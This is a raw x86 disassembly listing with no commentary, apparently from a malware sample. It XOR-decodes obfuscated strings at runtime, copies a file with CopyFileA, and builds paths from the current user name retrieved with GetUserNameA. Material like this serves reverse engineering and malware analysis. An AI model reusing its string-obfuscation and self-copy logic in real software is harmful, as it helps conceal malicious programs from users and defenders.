xorps xmm0, xmm0
mov byte [ebp - 0x84], 0xf3
cmovae eax, dword [ebp - 0x104]
xor ecx, ecx
mov dword [ebp - 0x20], eax
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x84], al
inc ecx
cmp ecx, 1
jb 0x41f950
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x84]
mov byte [ebp - 0x83], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f990
sub ecx, edx
lea eax, [ebp - 0x84]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 0x10
cmovae edx, dword [ebp - 0x6c]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f9c0
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x140]
sub eax, esi
cmp eax, ecx
jb 0x420fd0
cmp dword [ebp - 0x13c], 0x10
lea eax, [ebp - 0x150]
push ecx
cmovae eax, dword [ebp - 0x150]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9c]
call fcn.004946d0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x180]
cmp dword [ebp - 0x16c], 0x10
mov edx, dword [ebp - 0x8c]
cmovae ecx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x88]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x41fa6e
cmp dword [ebp - 0x88], 0x10
lea esi, [ebp - 0x9c]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x9c]
mov dword [ebp - 0x8c], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov eax, dword [ebp - 0x18]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0x9c]
jmp 0x41fa87
mov byte [ebp - 0x18], 0
lea ecx, [ebp - 0x9c]
push dword [ebp - 0x18]
push edi
call fcn.00492b30
mov edi, dword [ebp - 0x170]
mov dword [ebp - 0x25c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x26c], xmm0
mov dword [ebp - 0x258], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x26c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x25c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x26c]
push dword [ebp - 0x20]
call fcn.0048c9d0
mov dword [ebp - 0xa4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x258]
cmp ecx, 0x10
jb 0x41fb63
mov edx, dword [ebp - 0x26c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fb59
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fd5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x258], 0xf
mov byte [ebp - 0x26c], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x41fbbc
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fbb2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fd5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x41fc0f
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fc05
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fd5
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0xf0]
cmp ecx, 0x10
jb 0x41fc4d
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41fc43
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fd5
push ecx
push edx
call fcn.00504f31
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.0040dee0
add esp, 0x18
test al, al
jne 0x420cff
cmp dword [ebp - 0xa0], 0x10
lea ecx, [ebp - 0xb4]
push 0
cmovae ecx, dword [ebp - 0xb4]
lea eax, [ebp - 0x23c]
cmp dword [ebp - 0x228], 0x10
push ecx
cmovae eax, dword [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x420cff
push 0x104
lea eax, [ebp - 0x408]
mov dword [ebp - 0x18], 0x104
push 0
push eax
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x550fc0]
xor ecx, ecx
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0xe2adb290
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0x8e828d8b
mov word [ebp - 0x3c], 0x9b82
mov byte [ebp - 0x3a], 0x9d
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x54], al
inc ecx
cmp ecx, 0x1b
jb 0x41fd13
lea eax, [ebp - 0x54]
mov dword [0x565618], ecx
push eax
lea ecx, [ebp - 0x29c]
mov byte [ebp - 0x39], 0
call fcn.00402b70
lea ecx, [ebp - 0x29c]
mov byte [ebp - 4], 0x21
call fcn.00402c10
xorps xmm0, xmm0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x40], 0xc69e908d
xor ecx, ecx
mov word [ebp - 0x3c], 0x94dd
mov byte [ebp - 0x3a], 0x97
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 7
jb 0x41fd77
lea eax, [ebp - 0x40]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x284]
mov byte [ebp - 0x39], 0
call fcn.00402b70
lea ecx, [ebp - 0x284]
mov byte [ebp - 4], 0x22
call fcn.00402c10
xorps xmm0, xmm0
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x40], 0xc69e908d
xor ecx, ecx
mov word [ebp - 0x3c], 0x94c1
mov byte [ebp - 0x3a], 0x97
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 7
jb 0x41fde0
lea eax, [ebp - 0x40]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x168]
mov byte [ebp - 0x39], 0
call fcn.00402b70
mov byte [ebp - 4], 0x23
lea esi, [ebp - 0x168]
cmp dword [ebp - 0x154], 0x10
lea ecx, [ebp - 0x408]
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
cmovae esi, dword [ebp - 0x168]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x58], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41fe40
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
mov byte [ebp - 4], 0x24
xor ecx, ecx
movaps xmm0, xmmword [0x552120]
movups xmmword [ebp - 0x52], xmm0
mov dword [ebp - 0x42], 0xe2a7ef9f
xorps xmm0, xmm0
mov dword [ebp - 0x3e], 0xe69096ec
mov byte [ebp - 0x3a], 0xe5
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 0x19
jb 0x41fe94
mov dword [0x565638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x52]
mov byte [ebp - 0x39], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x74], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x70], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41fed0
sub ecx, edx
lea eax, [ebp - 0x52]
push ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.00402c40
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x6c]
cmp dword [ebp - 0x70], 0x10
lea edx, [ebp - 0x84]
push eax
cmovae edx, dword [ebp - 0x84]
lea ecx, [ebp - 0x11c]
call fcn.00490af0
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x26
call fcn.0048c9d0
mov dword [ebp - 0x1b8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c8], xmm0
mov dword [ebp - 0x1b4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1c8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1b8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov edx, dword [ebp - 0x1b8]
cmovae esi, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0xa4]
sub eax, edx
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0xb8], edx
push ecx
cmp ecx, eax
ja 0x41ffe8
cmp dword [ebp - 0x1b4], 0x10
lea esi, [ebp - 0x1c8]
push dword [ebp - 0x20]
cmovae esi, dword [ebp - 0x1c8]
lea eax, [edx + ecx]
mov dword [ebp - 0x1b8], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov eax, dword [ebp - 0x138]
add esp, 0xc
mov ecx, dword [ebp - 0xb8]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0x1c8]
jmp 0x420002
push esi
mov byte [ebp - 0xb8], 0
push dword [ebp - 0xb8]
push ecx
lea ecx, [ebp - 0x1c8]
call fcn.00492b30
mov dword [ebp - 0x1a0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1b0], xmm0
mov dword [ebp - 0x19c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x28
call fcn.0048c9d0
mov dword [ebp - 0xc4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x180]
cmp dword [ebp - 0x16c], 0x10
mov esi, dword [ebp - 0xc0]
mov eax, esi
cmovae ecx, dword [ebp - 0x180]
mov edx, dword [ebp - 0xc4]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x420102
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0xc4], eax
lea eax, [ebp - 0xd4]
cmovae eax, dword [ebp - 0xd4]
lea esi, [eax + edx]
push esi
call fcn.00506990
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0xd4]
jmp 0x420121
mov byte [ebp - 0xbc], 0
lea ecx, [ebp - 0xd4]
push dword [ebp - 0xbc]
push edi
call fcn.00492b30
mov edi, dword [ebp - 0x170]
mov dword [ebp - 0x188], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x198], xmm0
mov dword [ebp - 0x184], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x198], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x188], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0x2a
call fcn.0048c9d0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2e4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2d4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x184]
cmp ecx, 0x10
jb 0x4201df
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4201d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fda
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], 0
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x420238
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42022e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fda
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x19c]
cmp ecx, 0x10
jb 0x420291
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420287
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fda
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x4202ea
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4202e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fda
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0x108]
cmp ecx, 0x10
jb 0x420343
mov edx, dword [ebp - 0x11c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420339
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fda
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0xf
mov byte [ebp - 0x11c], 0
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x420399
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42038f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fda
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x4203d1
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4203c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fda
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x154]
cmp ecx, 0x10
jb 0x420421
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420417
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fda
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x270]
cmp ecx, 0x10
jb 0x42045f
mov edx, dword [ebp - 0x284]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420455
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fda
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x270], 0xf
mov byte [ebp - 0x284], 0
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x288]
cmp ecx, 0x10
jb 0x4204b8
mov edx, dword [ebp - 0x29c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4204ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fda
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x2d0], 0x10
lea edx, [ebp - 0x2e4]
xorps xmm0, xmm0
mov dword [ebp - 0x28c], 0
cmovae edx, dword [ebp - 0x2e4]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x288], 0xf
mov ecx, edx
mov byte [ebp - 0x29c], 0
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420508
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00402c40
xor cl, cl
call fcn.0041e040
movaps xmm0, xmmword [0x552640]
add esp, 0x18
movups xmmword [ebp - 0x213], xmm0
mov dword [ebp - 0x203], 0xaeb3ef9f
xor ecx, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x1ff], 0x818c8ce3
mov dword [ebp - 0x1fb], 0x9e9a8d8f
movups xmmword [ebp - 0x1f7], xmm0
mov dword [ebp - 0x1e7], 0
mov word [ebp - 0x1e3], 0
mov byte [ebp - 0x1e1], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x213], al
inc ecx
cmp ecx, 0x1c
jb 0x420580
mov dword [0x5655f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x213]
mov byte [ebp - 0x1f7], 0
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x158], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x154], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4205c5
sub ecx, edx
lea eax, [ebp - 0x213]
push ecx
push eax
lea ecx, [ebp - 0x168]
call fcn.00402c40
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x168]
cmp dword [ebp - 0x154], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x122], 0xc69e908d
cmovae eax, dword [ebp - 0x168]
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov word [ebp - 0x11e], 0x94dd
mov byte [ebp - 0x11c], 0x97
movups xmmword [ebp - 0x11b], xmm0
mov dword [ebp - 0x10b], 0
mov word [ebp - 0x107], 0
mov byte [ebp - 0x105], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x122], al
inc ecx
cmp ecx, 7
jb 0x420640
mov dword [0x565560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x122]
mov byte [ebp - 0x11b], 0
movups xmmword [ebp - 0x198], xmm0
mov dword [ebp - 0x188], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x184], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420685
sub ecx, edx
lea eax, [ebp - 0x122]
push ecx
push eax
lea ecx, [ebp - 0x198]
call fcn.00402c40
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x198]
cmp dword [ebp - 0x184], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x122], 0xc69e908d
cmovae eax, dword [ebp - 0x198]
xor ecx, ecx
mov dword [ebp - 0x138], eax
mov word [ebp - 0x11e], 0x94c1
mov byte [ebp - 0x11c], 0x97
movups xmmword [ebp - 0x11b], xmm0
mov dword [ebp - 0x10b], 0
mov word [ebp - 0x107], 0
mov byte [ebp - 0x105], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x122], al
inc ecx
cmp ecx, 7
jb 0x420700
mov dword [0x565560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x122]
mov byte [ebp - 0x11b], 0
movups xmmword [ebp - 0x1b0], xmm0
mov dword [ebp - 0x1a0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x19c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420745
sub ecx, edx
lea eax, [ebp - 0x122]
push ecx
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00402c40
mov byte [ebp - 4], 0x38
lea esi, [ebp - 0x1b0]
cmp dword [ebp - 0x19c], 0x10
lea ecx, [ebp - 0x408]
xorps xmm0, xmm0
mov dword [ebp - 0x2bc], 0
cmovae esi, dword [ebp - 0x1b0]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x2cc], xmm0
mov dword [ebp - 0x2b8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4207a0
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
lea ecx, [ebp - 0x2cc]
call fcn.00402c40
mov byte [ebp - 4], 0x39
xor ecx, ecx
movaps xmm0, xmmword [0x552120]
movups xmmword [ebp - 0x134], xmm0
mov dword [ebp - 0x124], 0xe2a7ef9f
xorps xmm0, xmm0
mov dword [ebp - 0x120], 0xe69096ec
mov byte [ebp - 0x11c], 0xe5
movups xmmword [ebp - 0x11b], xmm0
mov dword [ebp - 0x10b], 0
mov word [ebp - 0x107], 0
mov byte [ebp - 0x105], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x134], al
inc ecx
cmp ecx, 0x19
jb 0x420810
mov dword [0x565638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x134]
mov byte [ebp - 0x11b], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x58], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420850
sub ecx, edx
lea eax, [ebp - 0x134]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00402c40
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x2cc]
cmp dword [ebp - 0x58], 0x10
lea edx, [ebp - 0x6c]
push eax
cmovae edx, dword [ebp - 0x6c]
lea ecx, [ebp - 0x3c]
call fcn.00490af0
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x3b
call fcn.0048c9d0
mov dword [ebp - 0xdc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0xd8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xec], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xdc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3c
lea esi, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov edx, dword [ebp - 0xdc]
cmovae esi, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xa4]
sub eax, edx
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0xb8], edx
push ecx
cmp ecx, eax
ja 0x420962
cmp dword [ebp - 0xd8], 0x10
lea esi, [ebp - 0xec]
push dword [ebp - 0x14]
cmovae esi, dword [ebp - 0xec]
lea eax, [ecx + edx]
mov dword [ebp - 0xdc], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov eax, dword [ebp - 0xbc]
add esp, 0xc
mov ecx, dword [ebp - 0xb8]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0xec]
jmp 0x420976
push esi
mov byte [ebp - 0x14], 0
push dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0xec]
call fcn.00492b30
mov dword [ebp - 0x74], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x70], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x84], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x74], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x138]
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x3d
call fcn.0048c9d0
mov dword [ebp - 0x1d0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1e0], xmm0
mov dword [ebp - 0x1cc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1e0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1d0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x180]
cmp dword [ebp - 0x16c], 0x10
mov edx, dword [ebp - 0x1d0]
cmovae ecx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x1cc]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x420a77
cmp dword [ebp - 0x1cc], 0x10
lea esi, [ebp - 0x1e0]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x1e0]
mov dword [ebp - 0x1d0], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov eax, dword [ebp - 0x14]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0x1e0]
jmp 0x420a8a
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x1e0]
push dword [ebp - 0x14]
push edi
call fcn.00492b30
mov dword [ebp - 0xf4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x104], xmm0
mov dword [ebp - 0xf0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x104], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xf4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x104]
push dword [ebp - 0x20]
call fcn.0048c9d0
mov dword [ebp - 0x2a4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2b4], xmm0
mov dword [ebp - 0x2a0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2b4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2a4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x41
mov ecx, dword [ebp - 0xf0]
cmp ecx, 0x10
jb 0x420b66
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420b5c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fdf
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0xf
mov byte [ebp - 0x104], 0
mov byte [ebp - 4], 0x42
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0x10
jb 0x420bbf
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420bb5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fdf
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
mov byte [ebp - 4], 0x43
mov ecx, dword [ebp - 0x70]
